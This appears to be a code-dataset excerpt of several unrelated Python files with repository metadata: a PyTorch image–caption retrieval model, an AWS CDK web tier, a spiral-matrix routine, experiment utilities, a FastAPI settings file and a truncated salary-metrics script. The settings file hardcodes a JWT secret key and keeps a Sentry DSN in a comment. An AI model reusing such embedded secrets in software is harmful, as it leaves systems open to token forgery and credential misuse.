#features = F.dropout(features, 0.5)\n #feature_out = self.final_linear(torch.cat(xs, dim=-1))\n #feature_out = self.final_linear_njump(x)\n feature_out = x.sum(dim=1) / (mask.sum(-1).unsqueeze(-1) + 1e-10)\n\n\n\n if not self.no_imgnorm:\n feature_out = l2norm(feature_out)\n\n # take the absolute value of the embedding (used in order embeddings)\n if self.use_abs:\n feature_out = torch.abs(feature_out)\n\n #feature_out = F.dropout(feature_out, 0.5)\n return feature_out, P_final\n'''\n\n\n\n\n# tutorials/09 - Image Captioning\n\n\nclass EncoderImageFull(nn.Module):\n\n def __init__(self, embed_size, finetune=False, cnn_type='vgg19',\n use_abs=False, no_imgnorm=False):\n \"\"\"Load pretrained VGG19 and replace top fc layer.\"\"\"\n super(EncoderImageFull, self).__init__()\n self.embed_size = embed_size\n self.no_imgnorm = no_imgnorm\n self.use_abs = use_abs\n\n # Load a pre-trained model\n self.cnn = self.get_cnn(cnn_type, True)\n\n # For efficient memory usage.\n for param in self.cnn.parameters():\n param.requires_grad = finetune\n\n # Replace the last fully connected layer of CNN with a new one\n if cnn_type.startswith('vgg'):\n self.fc = nn.Linear(self.cnn.classifier._modules['6'].in_features,\n embed_size)\n self.cnn.classifier = nn.Sequential(\n *list(self.cnn.classifier.children())[:-1])\n elif cnn_type.startswith('resnet'):\n self.fc = nn.Linear(self.cnn.module.fc.in_features, embed_size)\n self.cnn.module.fc = nn.Sequential()\n\n self.init_weights()\n\n def get_cnn(self, arch, pretrained):\n \"\"\"Load a pretrained CNN and parallelize over GPUs\n \"\"\"\n if pretrained:\n print(\"=> using pre-trained model '{}'\".format(arch))\n model = models.__dict__[arch](pretrained=True)\n else:\n print(\"=> creating model '{}'\".format(arch))\n model = models.__dict__[arch]()\n\n if arch.startswith('alexnet') or arch.startswith('vgg'):\n model.features = nn.DataParallel(model.features)\n model.cuda()\n else:\n model = nn.DataParallel(model).cuda()\n\n return model\n\n def load_state_dict(self, state_dict):\n \"\"\"\n Handle the models saved before commit pytorch/vision@989d52a\n \"\"\"\n if 'cnn.classifier.1.weight' in state_dict:\n state_dict['cnn.classifier.0.weight'] = state_dict[\n 'cnn.classifier.1.weight']\n del state_dict['cnn.classifier.1.weight']\n state_dict['cnn.classifier.0.bias'] = state_dict[\n 'cnn.classifier.1.bias']\n del state_dict['cnn.classifier.1.bias']\n state_dict['cnn.classifier.3.weight'] = state_dict[\n 'cnn.classifier.4.weight']\n del state_dict['cnn.classifier.4.weight']\n state_dict['cnn.classifier.3.bias'] = state_dict[\n 'cnn.classifier.4.bias']\n del state_dict['cnn.classifier.4.bias']\n\n super(EncoderImageFull, self).load_state_dict(state_dict)\n\n def init_weights(self):\n \"\"\"Xavier initialization for the fully connected layer\n \"\"\"\n r = np.sqrt(6.) / np.sqrt(self.fc.in_features +\n self.fc.out_features)\n self.fc.weight.data.uniform_(-r, r)\n self.fc.bias.data.fill_(0)\n\n def forward(self, images):\n \"\"\"Extract image feature vectors.\"\"\"\n features = self.cnn(images)\n\n # normalization in the image embedding space\n features = l2norm(features)\n\n # linear projection to the joint embedding space\n features = self.fc(features)\n\n # normalization in the joint embedding space\n if not self.no_imgnorm:\n features = l2norm(features)\n\n # take the absolute value of the embedding (used in order embeddings)\n if self.use_abs:\n features = torch.abs(features)\n\n regloss = (torch.Tensor([0.]), torch.Tensor([0.]), torch.Tensor([0.])) # 0.\n return features, regloss\n\n\n\n\nclass EncoderImagePrecomp(nn.Module):\n\n def __init__(self, img_dim, embed_size, use_abs=False, no_imgnorm=False):\n super(EncoderImagePrecomp, self).__init__()\n self.embed_size = embed_size\n self.no_imgnorm = no_imgnorm\n self.use_abs = use_abs\n\n self.fc = nn.Linear(img_dim, embed_size)\n\n self.init_weights()\n\n def init_weights(self):\n \"\"\"Xavier initialization for the fully connected layer\n \"\"\"\n r = np.sqrt(6.) / np.sqrt(self.fc.in_features +\n self.fc.out_features)\n self.fc.weight.data.uniform_(-r, r)\n self.fc.bias.data.fill_(0)\n\n def forward(self, images):\n \"\"\"Extract image feature vectors.\"\"\"\n # assuming that the precomputed features are already l2-normalized\n\n features = self.fc(images)\n\n # normalize in the joint embedding space\n if not self.no_imgnorm:\n features = l2norm(features)\n\n # take the absolute value of embedding (used in order embeddings)\n if self.use_abs:\n features = torch.abs(features)\n\n return features\n\n def load_state_dict(self, state_dict):\n \"\"\"Copies parameters. overwritting the default one to\n accept state_dict from Full model\n \"\"\"\n own_state = self.state_dict()\n new_state = OrderedDict()\n for name, param in state_dict.items():\n if name in own_state:\n new_state[name] = param\n\n super(EncoderImagePrecomp, self).load_state_dict(new_state)\n\n\n# tutorials/08 - Language Model\n# RNN Based Language Model\nclass EncoderText(nn.Module):\n\n def __init__(self, vocab_size, word_dim, embed_size, num_layers, word_emb,\n use_abs=False):\n super(EncoderText, self).__init__()\n self.use_abs = use_abs\n self.embed_size = embed_size\n\n # word embedding\n #self.embed = nn.Embedding(vocab_size, word_dim)\n self.embed = word_emb\n # caption embedding\n self.rnn = nn.GRU(word_dim, embed_size, num_layers, batch_first=True)\n\n #self.init_weights()\n\n #def init_weights(self):\n # self.embed.weight.data.uniform_(-0.1, 0.1)\n\n def forward(self, x, lengths):\n \"\"\"Handles variable size captions\n \"\"\"\n # Embed word ids to vectors\n x = self.embed(x)\n packed = pack_padded_sequence(x, lengths, batch_first=True)\n\n # Forward propagate RNN\n out, ht = self.rnn(packed)\n\n # this code does not work\n # Reshape *final* output to (batch_size, hidden_size)\n # padded = pad_packed_sequence(out, batch_first=True)\n # I = torch.LongTensor(lengths).view(-1, 1, 1)\n # I = Variable(I.expand(x.size(0), 1, self.embed_size)-1).cuda()\n # out = torch.gather(padded[0], 1, I).squeeze(1)\n out = ht[-1]\n\n # normalization in the joint embedding space\n out = l2norm(out)\n\n # take absolute value, used by order embeddings\n if self.use_abs:\n out = torch.abs(out)\n\n return out\n\n\nclass EncoderSbert(nn.Module):\n def __init__(self, embed_size, sbert_dim=1024, bert_name='bert-large-nli-stsb-mean-tokens',\n use_abs=False, norm=False, finetune=False):\n super(EncoderSbert, self).__init__()\n self.use_abs = use_abs\n self.embed_size = embed_size\n self.embed = nn.Linear(sbert_dim, embed_size)\n self.sbert = SentenceTransformer(bert_name)\n self.norm = norm\n self.finetune = finetune\n print(f'Using BERT: {bert_name}')\n print('SBERT is being fine-tuned')\n\n def forward(self, x, *args, **kwargs):\n x = self.sbert.encode(x, batch_size=8, show_progress_bar=False, train=self.finetune)\n if not self.finetune:\n x = torch.stack([torch.tensor(xx, dtype=torch.float) for xx in x])\n #x = F.dropout(x, 0.1)\n out = self.embed(x.cuda())\n else:\n out = self.embed(torch.stack(x))\n\n #out = F.normalize(out, p=2, dim=-1)\n if self.norm:\n out = l2norm(out)\n\n if self.use_abs:\n out = torch.abs(out)\n #out = F.dropout(out,0.5)\n return out\n\n\ndef cosine_sim(im, s):\n \"\"\"Cosine similarity between all the image and sentence pairs\n \"\"\"\n return im.mm(s.t())\n\n\ndef order_sim(im, s):\n \"\"\"Order embeddings similarity measure $max(0, s-im)$\n \"\"\"\n YmX = (s.unsqueeze(1).expand(s.size(0), im.size(0), s.size(1))\n - im.unsqueeze(0).expand(s.size(0), im.size(0), s.size(1)))\n score = -YmX.clamp(min=0).pow(2).sum(2).sqrt().t()\n return score\n\n\nclass ContrastiveLoss(nn.Module):\n \"\"\"\n Compute contrastive loss\n \"\"\"\n\n def __init__(self, margin=0, measure=False, max_violation=False):\n super(ContrastiveLoss, self).__init__()\n self.margin = margin\n if measure == 'order':\n self.sim = order_sim\n else:\n self.sim = cosine_sim\n\n self.max_violation = max_violation\n\n def forward(self, im, s):\n # compute image-sentence score matrix\n scores = self.sim(im, s)\n diagonal = scores.diag().view(im.size(0), 1)\n d1 = diagonal.expand_as(scores)\n d2 = diagonal.t().expand_as(scores)\n\n # compare every diagonal score to scores in its column\n # caption retrieval\n cost_s = (self.margin + scores - d1).clamp(min=0)\n # compare every diagonal score to scores in its row\n # image retrieval\n cost_im = (self.margin + scores - d2).clamp(min=0)\n\n # clear diagonals\n mask = torch.eye(scores.size(0)) > .5\n I = Variable(mask)\n if torch.cuda.is_available():\n I = I.cuda()\n cost_s = cost_s.masked_fill_(I, 0)\n cost_im = cost_im.masked_fill_(I, 0)\n\n # keep the maximum violating negative for each query\n if self.max_violation:\n cost_s = cost_s.max(1)[0]\n cost_im = cost_im.max(0)[0]\n\n return cost_s.mean() + cost_im.mean()#cost_s.sum() + cost_im.sum()\n\n\nclass VSE(object):\n \"\"\"\n rkiros/uvs model\n \"\"\"\n\n def __init__(self, data_name='coco', img_dim=4096, finetune=False, cnn_type='vgg16', gmodel_type=None,\n use_abs=False, no_imgnorm=False, no_txtnorm=False, word_dim=300,word_dim_sg=300, embed_size=1024, grad_clip=2,\n learning_rate=0.0002, margin=0.2, sbert=False, max_violation=False, vocab_size=11755, sg_vocab_size=0,\n word_emb=None, measure='cosine', finetune_bert=False, use_SG=False, use_specloss=False, use_entrloss=False, use_linkloss=False, lambda_reg = 1.0, num_layers = 1, pool_ratio=0.1, **kwargs):\n # tutorials/09 - Image Captioningƒ\n # Build Models\n self.grad_clip = grad_clip\n self.use_SG = use_SG\n self.use_specloss = use_specloss\n self.use_entrloss = use_entrloss\n self.use_linkloss = use_linkloss\n self.lambda_reg = lambda_reg\n if use_SG:\n self.img_word_emb = Encoder_word(sg_vocab_size, word_dim_sg, word_emb)\n else:\n self.img_word_emb = None\n self.txt_word_emb = Encoder_word(vocab_size, word_dim)\n self.img_enc = EncoderImage(data_name, img_dim, sg_vocab_size, word_dim_sg, embed_size, self.img_word_emb,\n finetune, cnn_type, gmodel_type,\n use_abs=use_abs,\n no_imgnorm=no_imgnorm,\n use_SG=use_SG,\n use_specloss=use_specloss, use_entrloss=use_entrloss, use_linkloss=use_linkloss,\n num_layers=num_layers, pool_ratio=pool_ratio)\n if sbert:\n self.txt_enc = EncoderSbert(embed_size,\n use_abs=use_abs,\n norm=not no_txtnorm,\n finetune=finetune_bert,\n sbert_dim=word_dim,\n bert_name=sbert)\n\n else:\n self.txt_enc = EncoderText(vocab_size, word_dim,\n embed_size, num_layers, self.txt_word_emb,\n use_abs=use_abs)\n if torch.cuda.is_available():\n self.img_enc.cuda()\n self.txt_enc.cuda()\n cudnn.benchmark = True\n\n # Loss and Optimizer\n self.criterion = ContrastiveLoss(margin=margin,\n measure=measure,\n max_violation=max_violation)\n\n params = list(self.txt_word_emb.parameters())\n params += list(self.txt_enc.parameters())\n if use_SG:\n #params += list(self.img_word_emb.parameters())\n params += list(self.img_enc.parameters())\n else:\n params += list(self.img_enc.fc.parameters())\n if finetune:\n params += list(self.img_enc.cnn.parameters())\n self.params = params\n\n self.optimizer = torch.optim.Adam(params, lr=learning_rate)\n\n self.Eiters = 0\n\n\n def state_dict(self):\n state_dict = [self.img_enc.state_dict(), self.txt_enc.state_dict()]\n return state_dict\n\n def load_state_dict(self, state_dict):\n self.img_enc.load_state_dict(state_dict[0])\n self.txt_enc.load_state_dict(state_dict[1])\n\n def train_start(self):\n \"\"\"switch to train mode\n \"\"\"\n self.img_enc.train()\n self.txt_enc.train()\n\n def val_start(self):\n \"\"\"switch to evaluate mode\n \"\"\"\n self.img_enc.eval()\n self.txt_enc.eval()\n def infer_img_feat(self, images, img_lengths):\n \"\"\"Compute features of the image\n \"\"\"\n if torch.cuda.is_available():\n if self.use_SG == True:\n images['nodes'] = images['nodes'].cuda()\n images['adj'] = images['adj'].cuda()\n images['nodes_flat'] = images['nodes_flat'].cuda()\n images['adj_flat'] = images['adj_flat'].cuda()\n images['batch'] = images['batch'].cuda()\n img_lengths = img_lengths.cuda()\n else:\n images = images.cuda()\n with torch.no_grad():\n if self.use_SG == True:\n img_emb, _ = self.img_enc(images, img_lengths)\n else:\n img_emb, _ = self.img_enc(images)\n\n return img_emb\n\n def infer_txt_feat(self, captions, lengths):\n \"\"\"Compute features of the caption\n \"\"\"\n captions = captions.unsqueeze(0) if captions.dim() == 1 else captions\n if torch.cuda.is_available():\n if not isinstance(captions, list):\n captions = captions.cuda()\n with torch.no_grad():\n cap_emb = self.txt_enc(captions, lengths)\n\n return cap_emb\n\n def infer_txt2img_retrieval(self, cap_embs, img_embs):\n if type(img_embs) is np.ndarray:\n img_embs = torch.from_numpy(img_embs).float()\n cap_embs = cap_embs.unsqueeze(0) if cap_embs.dim() == 1 else cap_embs\n if torch.cuda.is_available():\n cap_embs = cap_embs.cuda()\n img_embs = img_embs.cuda()\n d = torch.bmm(cap_embs, img_embs.transpose(0, 1))\n\n inds = torch.argsort(d)\n\n return inds\n\n\n def forward_vis(self, images, captions, lengths, img_lengths):\n \"\"\"Compute the image and caption for visualizations\n \"\"\"\n\n if torch.cuda.is_available():\n if self.use_SG == True:\n images['nodes'] = images['nodes'].cuda()\n images['adj'] = images['adj'].cuda()\n images['nodes_flat'] = images['nodes_flat'].cuda()\n images['adj_flat'] = images['adj_flat'].cuda()\n images['batch'] = images['batch'].cuda()\n img_lengths = img_lengths.cuda()\n else:\n images = images.cuda()\n if not isinstance(captions, list):\n captions = captions.cuda()\n\n\n with torch.no_grad():\n if self.use_SG == True:\n img_emb, P_final = self.img_enc.forward_vis(images, img_lengths)\n else:\n img_emb, regloss = self.img_enc(images)\n cap_emb = self.txt_enc(captions, lengths)\n\n\n return img_emb, cap_emb, P_final\n\n def forward_emb(self, images, captions, lengths, img_lengths, volatile=False):\n \"\"\"Compute the image and caption embeddings\n \"\"\"\n # Set mini-batch dataset\n if torch.cuda.is_available():\n if self.use_SG == True:\n images['nodes'] = images['nodes'].cuda()\n images['adj'] = images['adj'].cuda()\n images['nodes_flat'] = images['nodes_flat'].cuda()\n images['adj_flat'] = images['adj_flat'].cuda()\n images['batch'] = images['batch'].cuda()\n img_lengths = img_lengths.cuda()\n else:\n images = images.cuda()\n if not isinstance(captions, list):\n captions = captions.cuda()\n\n # Forward\n if volatile:\n with torch.no_grad():\n if self.use_SG == True:\n img_emb, regloss = self.img_enc(images, img_lengths)\n else:\n img_emb, regloss = self.img_enc(images)\n cap_emb = self.txt_enc(captions, lengths)\n else:\n if self.use_SG == True:\n img_emb, regloss = self.img_enc(images, img_lengths)\n else:\n img_emb, regloss = self.img_enc(images)\n cap_emb = self.txt_enc(captions, lengths)\n\n\n\n return img_emb, cap_emb, regloss\n\n def forward_loss(self, img_emb, cap_emb, regloss, **kwargs):\n \"\"\"Compute the loss given pairs of image and caption embeddings\n \"\"\"\n loss = self.criterion(img_emb, cap_emb)\n self.logger.update('Le', loss.item(), img_emb.size(0))\n for i, reg in enumerate(regloss):\n if i==0:\n self.logger.update('Spec_loss', reg.item(), img_emb.size(0))\n if self.use_specloss !=False:\n loss += self.lambda_reg * reg\n if i==1:\n self.logger.update('Entr_loss', reg.item(), img_emb.size(0))\n if self.use_entrloss !=False:\n loss += self.lambda_reg * reg\n if i==2:\n self.logger.update('Link_loss', reg.item(), img_emb.size(0))\n if self.use_linkloss !=False:\n loss += self.lambda_reg * reg\n #loss += 10. * reg\n\n #loss += regloss\n # self.logger.update('Le', loss.data[0], img_emb.size(0))\n\n return loss\n\n def train_emb(self, images, captions, lengths, img_lengths, ids=None, *args):\n \"\"\"One training step given images and captions.\n \"\"\"\n self.Eiters += 1\n self.logger.update('Eit', self.Eiters)\n self.logger.update('lr', self.optimizer.param_groups[0]['lr'])\n\n # compute the embeddings\n img_emb, cap_emb, regloss = self.forward_emb(images, captions, lengths, img_lengths)\n\n # measure accuracy and record loss\n self.optimizer.zero_grad()\n loss = self.forward_loss(img_emb, cap_emb, regloss)\n\n # compute gradient and do SGD step\n loss.backward()\n if self.grad_clip > 0:\n clip_grad_norm(self.params, self.grad_clip)\n self.optimizer.step()\n\n #del loss, regloss\n\n","repo_name":"swyoon/image-retrieval","sub_path":"model_ssgpool.py","file_name":"model_ssgpool.py","file_ext":"py","file_size_in_byte":48198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"4527753385","text":"import aws_cdk.core as cdk\nimport aws_cdk.aws_ec2 as ec2\nimport aws_cdk.aws_iam as iam\nimport aws_cdk.aws_autoscaling as autos\nimport aws_cdk.aws_elasticloadbalancingv2 as elb\n\n\n\n\n#this class encapsulates the CDK logic to build a Web Tier\nclass WebTierEC2:\n\n\n\n def __init__(self,stack: cdk.Stack,vpc: ec2.Vpc, hostType: str,\n appDNS: str,webSecurityGroup: ec2.SecurityGroup,\n albSecurityGroup:ec2.SecurityGroup) -> None:\n \n #We need to install Python 3.8 to support Flask\n ec2InitElement1 = ec2.InitPackage.yum(package_name=\"python38.x86_64\") \n #We need \"stress\" utility to simulate/test high workload and trigger auto-scaling\n ec2InitElement2 = ec2.InitPackage.yum(package_name=\"stress\") \n \n #Web business logic (web.py) deployment from local resources\n ec2InitElement3 = ec2.InitFile.from_file_inline( target_file_name=\"/home/ec2-user/web.py\",\n source_file_name=\"ect-cdk-3ta-resources/web.py\",\n mode=\"000644\",\n group=\"ec2-user\",\n owner=\"ec2-user\")\n #log stream script (awslogs-agent-setup-py) config file deployment from local resources\n ec2InitElement4 = ec2.InitFile.from_file_inline( target_file_name=\"/tmp/cwlogs/my.conf\",\n source_file_name=\"ect-cdk-3ta-resources/my.conf\",\n mode=\"000644\",\n group=\"root\",\n owner=\"root\")\n #log stream script (awslogs-agent-setup-py) deployment from local resources\n ec2InitElement5 = ec2.InitFile.from_file_inline( target_file_name=\"/home/ec2-user/awslogs-agent-setup.py\",\n source_file_name=\"ect-cdk-3ta-resources/awslogs-agent-setup.py\",\n mode=\"000644\",\n group=\"root\",\n owner=\"root\")\n\n #install required Python packages\n ec2InitElement6 = ec2.InitCommand.shell_command(shell_command=\"pip-3.8 install flask boto3 urllib3\",cwd=\"/home/ec2-user/\")\n \n #start Flask script\n flaskScriptcommand = f'python3 web.py \"http://{appDNS}\" > web.log 2>&1 &'\n #cdk.CfnOutput(stack, \"flask-script-web\",description=\"Flask script command\", value=flaskScriptcommand)\n ec2InitElement7 = ec2.InitCommand.shell_command(shell_command=flaskScriptcommand,cwd=\"/home/ec2-user/\")\n \n #start log stream agent script\n ec2InitElement8= ec2.InitCommand.shell_command(shell_command=f\"python2.7 awslogs-agent-setup.py -n -r {stack.region} -c /tmp/cwlogs/my.conf &\",cwd=\"/home/ec2-user/\")\n \n \n #deploying sequence\n ec2Init = ec2.CloudFormationInit.from_elements( ec2InitElement1,\n ec2InitElement2,\n ec2InitElement3,\n ec2InitElement4,\n ec2InitElement5,\n ec2InitElement6,\n ec2InitElement7,\n ec2InitElement8)\n \n\n #define compute class type\n instanceType = ec2.InstanceType(instance_type_identifier=hostType)\n #using defaul AWS Linux Image\n machineImage = ec2.AmazonLinuxImage()\n #required permissions to allow SSM connectivity \n iamSSMManagedPolicy = iam.ManagedPolicy.from_aws_managed_policy_name(\"AmazonSSMFullAccess\")\n #required permissions to allow CloudWatch Logs publishing\n iamLogManagedPolicy = iam.ManagedPolicy.from_aws_managed_policy_name(\"CloudWatchLogsFullAccess\")\n \n #Create Role for EC2 with attached permissions/policies\n instanceRole = iam.Role(stack,\"Web EC2 Role\",\n assumed_by=iam.ServicePrincipal(\"ec2.amazonaws.com\"),\n managed_policies=[iamSSMManagedPolicy,iamLogManagedPolicy])\n\n\n \n \n #create Auto Scaling Group with all the information required to create an instance\n # and the group management\n autoScaling = autos.AutoScalingGroup(\n stack,\"WebApp\",instance_type=instanceType,\n machine_image=machineImage,\n init=ec2Init,\n signals=autos.Signals.wait_for_all(),\n min_capacity=2,#min 2 EC2 needed\n max_capacity=4,#max 4 EC2 running in case of workload increase\n desired_capacity=2,#always keep two EC2 running (one per AZ)\n vpc_subnets=ec2.SubnetSelection(subnet_type=ec2.SubnetType.PRIVATE),\n cooldown=cdk.Duration.seconds(120),\n health_check=autos.HealthCheck.ec2(grace=cdk.Duration.seconds(120)),\n vpc=vpc,\n role=instanceRole,\n security_group=webSecurityGroup)\n\n \n\n #Monitor group using CPU utilization, target is 40%, It will scale up or down to maintain this target\n autoScaling.scale_on_cpu_utilization(\"WebOnCPUUtilization\",target_utilization_percent=40.0,\n cooldown=cdk.Duration.seconds(60),\n estimated_instance_warmup=cdk.Duration.seconds(120))\n\n #Create an Application Load Balancer (see https://docs.aws.amazon.com/elasticloadbalancing/latest/application/introduction.html)\n alb = elb.ApplicationLoadBalancer(stack,\"WebLoadBalancer\",\n vpc=vpc,\n internet_facing=True,#public access\n security_group=albSecurityGroup) \n #ALB is listening on HTTP:80 for incomining calls\n albListener = elb.ApplicationListener(stack,\"WebELBListener\",\n port=80,\n protocol= elb.ApplicationProtocol.HTTP,\n load_balancer=alb,\n open=True)\n #The Auto Scaling Group is the ALP's target and will forward request to HTTP:80\n albListener.add_targets(\"WebTarget\",port=80,\n protocol=elb.ApplicationProtocol.HTTP,\n targets=[autoScaling])\n\n #print out public DNS entry point to use the stack\n cdk.CfnOutput(stack, \"WebALBDNS\",description=\"Public DNS entry point\", value=alb.load_balancer_dns_name)\n \n \n\n ","repo_name":"rluberti/CDK-3TA","sub_path":"cdk_3_ta/WebTier.py","file_name":"WebTier.py","file_ext":"py","file_size_in_byte":6927,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"22005528117","text":"'''\nGiven a matrix of m x n elements (m rows, n columns), return all elements of the matrix in spiral order.\nFor example,\nGiven the following matrix:\n[\n [ 1, 2, 3 ],\n [ 4, 5, 6 ],\n [ 7, 8, 9 ]\n]\nYou should return [1,2,3,6,9,8,7,4,5].\n'''\n\ndef spiralOrder(matrix):\n m = len(matrix)\n if 0 == m:\n return []\n n = len(matrix[0])\n if 0 == n:\n return []\n arr = []\n round = (min(m,n) + 1) / 2\n for x in range(0, round):\n for y in range(x, n-x):\n arr.append(matrix[x][y])\n for y in range(x+1, m-x-1):\n arr.append(matrix[y][n-x-1])\n if m - 2*x > 1:\n for y in range(n-x-1, x-1, -1):\n arr.append(matrix[m-x-1][y])\n if n - 2*x > 1:\n for y in range(m-x-2, x, -1):\n arr.append(matrix[y][x])\n return arr","repo_name":"helen5haha/pylee","sub_path":"matrix/SpiralMatrix.py","file_name":"SpiralMatrix.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34413742151","text":"import os\nfrom itertools import chain, combinations\nfrom comet_ml import ExistingExperiment, Experiment\nimport joblib\nfrom tensorflow.io import gfile\nfrom classifier import globals\nimport argparse\n\n\ndef upload_to_gcs(local_path, gcs_path):\n \"\"\"Upload local file to Google Cloud Storage.\n\n Args:\n local_path: (string) Local file\n gcs_path: (string) Google Cloud Storage destination\n\n Returns:\n None\n \"\"\"\n gfile.copy(local_path, gcs_path)\n\n\ndef dump_object(object_to_dump, output_path):\n \"\"\"Pickle the object and save to the output_path.\n\n Args:\n object_to_dump: Python object to be pickled\n output_path: (string) output path which can be Google Cloud Storage\n\n Returns:\n None\n \"\"\"\n path = f\"gs://{output_path}\"\n if not gfile.exists(path):\n gfile.makedirs(os.path.dirname(path))\n with gfile.GFile(path, \"w\") as wf:\n joblib.dump(object_to_dump, wf)\n\n\ndef download_object(path):\n bucket_path = f\"gs://{path}\"\n with gfile.GFile(bucket_path, \"rb\") as wf:\n obj = joblib.load(wf)\n return obj\n\n\ndef log_hyperparameters_to_comet(clf, experiment):\n for i in range(len(clf.cv_results_[\"params\"])):\n exp = Experiment(\n workspace=\"s0lvang\",\n project_name=\"ideal-pancake-hyperparameter\",\n api_key=globals.flags.comet_api_key,\n )\n exp.add_tag(\"hp_tuning\")\n exp.add_tags(globals.comet_logger.get_tags())\n for k, v in clf.cv_results_.items():\n if k == \"params\":\n exp.log_parameters(v[i])\n else:\n exp.log_metric(k, v[i])\n exp.end()\n\n old_experiment = ExistingExperiment(\n api_key=globals.flags.comet_api_key,\n previous_experiment=experiment.get_key(),\n )\n globals.comet_logger = old_experiment\n\n\ndef log_dataframe_to_comet(df, name):\n globals.comet_logger.log_table(f\"{name}.csv\", tabular_data=df)\n\n\ndef str2bool(v):\n if isinstance(v, bool):\n return v\n if v.lower() in (\"yes\", \"true\", \"t\", \"y\", \"1\"):\n return True\n elif v.lower() in (\"no\", \"false\", \"f\", \"n\", \"0\", \"\"):\n return False\n else:\n raise argparse.ArgumentTypeError(\"Boolean value expected.\")\n\n\ndef powerset(iterable):\n \"powerset([1,2,3]) --> () (1,) (2,) (3,) (1,2) (1,3) (2,3) (1,2,3)\"\n s = list(iterable)\n powerset = chain.from_iterable(combinations(s, r) for r in range(len(s) + 1))\n return list(filter(len, powerset))\n\n\ndef normalize_series(series):\n return (series - series.min()) / (series.max() - series.min())\n\n\ndef combine_regexes_and_filter_df(df, regexes):\n combined_regex = \"|\".join(regexes)\n regex = f\"^(?:{combined_regex})\"\n df = df.loc[:, df.columns.str.contains(regex)]\n return df\n","repo_name":"s0lvang/ideal-pancake","sub_path":"classifier/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"26088905074","text":"import os\n\nPROJECT_NAME = os.getenv(\"PROJECT_NAME\", \"Gaia Behavioral API\")\n\nAPI_V1_STR = \"/api/v1\"\n\nSECRET_KEY = \"PATIKANJI\"\n# ACCESS_TOKEN_EXPIRE_MINUTES = 60 * 24 * 1 # 60 minutes * 24 hours * 1 day = 1 day\nACCESS_TOKEN_EXPIRE_MINUTES = 24 * 60 # 24 x 60 minutes\n\nSERVER_NAME = os.getenv(\"SERVER_NAME\")\nSERVER_HOST = os.getenv(\"SERVER_HOST\")\n\n# SENTRY_DSN = \"https://7c0ba73507f748718b791fe973177be4@sentry.io/3481918\"\nSENTRY_DSN = os.getenv(\"SENTRY_DSN\")\n\nBACKEND_CORS_ORIGINS = \"http://localhost, http://localhost:8000, http://localhost:3000\"\n\nMAX_CONNECTIONS_COUNT = int(os.getenv(\"MAX_CONNECTIONS_COUNT\", 100))\nMIN_CONNECTIONS_COUNT = int(os.getenv(\"MIN_CONNECTIONS_COUNT\", 10))\n\nMONGODB_URI = os.getenv(\"MONGODB_URI\")\nMONGODB_NAME = os.getenv(\"MONGODB_NAME\")\n\nDOCTYPE_TEST = \"tests\"\nDOCTYPE_USER = \"users\"\nDOCTYPE_PERSONA = \"personas\"\nDOCTYPE_COMPANY = \"companies\"\nDOCTYPE_PROJECT = \"projects\"\nDOCTYPE_EV_CSI = \"ev_csi\"\nDOCTYPE_EV_GATE = \"ev_gate\"\nDOCTYPE_EV_MATE = \"ev_mate\"\nDOCTYPE_EV_GPQ = \"ev_gpq\"\nDOCTYPE_EV_SJT = \"ev_sjt\"\n\nCOMPANY_SYMBOL_LENGTH = 6\nUSERNAME_MIN_LENGTH = 5\nUSERNAME_MAX_LENGTH = 10\nDATA_PAGING_DEFAULT = 20\n\nSMTP_TLS = True\nSMTP_PORT = 587\n\nSMTP_HOST = os.getenv(\"SMTP_HOST\")\nSMTP_USER = os.getenv(\"SMTP_USER\")\nSMTP_PASSWORD = os.getenv(\"SMTP_PASSWORD\")\nEMAILS_FROM_EMAIL = os.getenv(\"EMAILS_FROM_EMAIL\")\n\nEMAILS_FROM_NAME = PROJECT_NAME\nEMAIL_RESET_TOKEN_EXPIRE_HOURS = 48\nEMAIL_TEMPLATES_DIR = \"./app/email-templates/build\"\nEMAILS_ENABLED = SMTP_HOST and SMTP_PORT and EMAILS_FROM_EMAIL\n\nUSERTYPE_GAIA = \"gaia\"\nUSERTYPE_LICENSE = \"license\"\nUSERTYPE_CLIENT = \"client\"\nUSERTYPE_EXPERT = \"expert\"\nUSERTYPE_PERSONA = \"persona\"\n\nROLE_SUPERUSER = \"superuser\"\nROLE_LICENSE_PUBLISHER = \"license-publisher\"\nROLE_PROJECT_CREATOR = \"project-creator\"\nROLE_PROJECT_MANAGER = \"project-manager\"\nROLE_PROJECT_MEMBER = \"project-member\"\n\nGPQ_TOTAL_ITEMS = 120\n\n\n# FIRST_SUPERUSER = os.getenv(\"FIRST_SUPERUSER\")\n# FIRST_SUPERUSER_PASSWORD = os.getenv(\"FIRST_SUPERUSER_PASSWORD\")\n\n# USERS_OPEN_REGISTRATION = getenv_boolean(\"USERS_OPEN_REGISTRATION\")\n\nEMAIL_TEST_USER = \"you@me.com\"\n","repo_name":"muslax/gaia-fastapi-demo","sub_path":"app/core/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38302753308","text":"'''\nRead the “. json” file resultant of exercise 1 and determine the following metrics. Store this\ninformation as human-readable text in well formatted “.txt” file.\nc. For each department:\ni. The number of employees.\nii. Average salary.\niii. Early expenses based on base salary (14 months)\nd. For the company:\ni. Number of departments.\nii. Departments with lowest and highest early wages.\niii. Total amount of wage expenses.\n'''\n\nimport json\n\n# Step 1: Read the JSON file\njson_file_path = './supportfiles/ex9.json' # Replace with the actual path to your JSON file\n\nwith open(json_file_path, 'r') as json_file:\n employee_data = json.load(json_file)\n\n# Step 2: Calculate the metrics\ncompany_metrics = {\n 'num_departments': len(employee_data),\n 'min_max_early_wages': {'min_department': None, 'max_department': None},\n 'total_wage_expenses': 0\n}\n\ndepartment_metrics = {}\n\nfor department, employees in employee_data.items():\n num_employees = len(employees)\n \n # Calculate average salary\n total_salary = sum(float(employee['Salary']) for employee in employees)\n avg_salary = total_salary / num_employees\n \n # Calculate early expenses based on base salary for 14 months\n early_expenses = total_salary * 14\n \n # Update department metrics\n department_metrics[department] = {\n 'num_employees': num_employees,\n 'avg_salary': avg_salary,\n 